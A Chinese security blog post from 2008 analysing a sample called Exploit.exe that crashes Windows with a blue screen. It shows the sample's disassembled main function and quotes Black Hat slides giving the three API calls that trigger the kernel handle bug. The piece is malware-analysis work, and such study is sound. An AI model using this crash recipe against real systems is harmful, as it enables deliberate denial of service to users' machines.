一个利用windows系统漏洞造成蓝屏的病毒

发布时间:2008-10-29 16:43:55    点击数:8369    作者:耐思智慧

昨天收到一个会造成windows系统蓝屏(BSOD)的病毒

感觉挺有趣的,利用了windows内核对于handle操作的一个bug

 

文件信息:

文件名:Exploit.exe

大小:49152字节

MD5:640f5b263c9697ee402285e16d91c963

 

程序执行起来系统立即蓝屏,提示的错误是 INVALID_KERNEL_HANDLE

 

扔到PEID里发现这个程序是Microsoft Visual Studio .NET 2005 -- 2008 -> Microsoft Corporation *

 

没有加壳,省了一步,很开心,少了许多潜在的麻烦。

 

扔到IDA里,自动识别到main函数。

 

push    esi
push                 ; lpsa
push    37Fh            ; dwDesiredAccess
push                 ; dwReserved
push                 ; lpwinsta
call    ds:CreateWindowStationW
push                 ; dwFlags
mov     esi, eax
push                 ; dwMask
push    esi             ; hObject
call    ds:SetHandleInformation
push    esi             ; hWinSta
call    ds:CloseWindowStation
xor     eax, eax
pop     esi
retn

main函数很简单,里面就只调用了三个API

CreateWindowStationW
SetHandleInformation

CloseWindowStation

这几个API在以前的分析中很少见到。

 

把样本扔到OD里,在401000下断点,F9直接过去,F7单步,发现执行完call    ds:CloseWindowStation就导致蓝屏。

 

对于这个结果十分不解。但是几次试下来每次都是这样的结果,可以确定作者是故意构造成这样使系统发生蓝屏的。

 

于是到网上找了一下资料,发现这个是Alex Ionescu大牛在今年 2008 black hat大会上发布的一个windows的bug,这个bug不仅影响Windows XP,并且在Vista SP1/Windows Server 2008中也依然存在。

 

Alex Ionescu大牛在PPT中是这样做说明的:

Find a handle that we can control, and wait for the kernel to close it.
Or better yet, have some sort of function that can coerce the kernel to close the handle immediately.
But all handle closing is done with CloseHandle. False! Window Stations and Desktops are actually managed by the Object Manager, even if they are Win32k objects.

 

Cannot normally use CloseHandle on a window station or desktop handle.
Win32k blocks CloseHandle calls with the OkayToClose mechanism
Provides CloseWindowStation and CloseDesktop APIs (NtUserCloseWindowStation/Desktop)
NtUserCloseWindowStation is a simple wrapper around...
ZwClose!

 

So all we have to do is:
1. Create a window station with CreateWindowStation
2. Protect the handle with SetHandleInformation
3. Close it with CloseWindowStation

Bug was caught in Vista SP1 / Server 2008 timeframe. Probably due to SDL -- obvious bug

 

详细内容可以参考Alex Ionescu's Blog中的文章Black Hat 2008 Wrap-up、这里有PPT的PDF版本下载:

http://www.alex-ionescu.com/BH08-AlexIonescu.pdf

 

这样看下来,这个程序应该是构造用来展示Windows内核的一个bug的演示程序,不过介于其造成的结果是导致Windows系统Crash蓝屏,可能会被利用对计算机进行破坏,所以最终还是加进病毒码进行查杀。

 

以上是一些小感想,抛砖引玉,希望引来大牛进一步解释一下。

上一篇: .CC域名首年特价优惠
下一篇: COM/NET域名58元注册,限时抢购
[返回所有新闻信息]

旗下网站:耐思智慧 - 淘域网 - 我的400电话 - 商务吧 - 中文域名:耐思尼克.cn 耐思尼克.top

耐思智慧 © 版权所有 Copyright © 2000-2024 IISP.COM,Inc. All rights reserved

备案号码: 粤ICP备09063828号  公安备案号: 公安备案 粤公网安备 44049002000123号  域名注册服务机构许可:粤D3.1-20240003 CN域名代理自深圳万维网

声明:本网站中所使用到的其他各种版权内容,包括但不限于文章、图片、视频、音频、字体等内容版权归原作者所有,如权利所有人发现,请及时告知,以便我们删除版权内容

本站程序界面、源代码受相关法律保护, 未经授权, 严禁使用; 耐思智慧 © 为我公司注册商标, 未经授权, 严禁使用

法律顾问:珠海知名律师 广东笃行律师事务所 夏天风 律师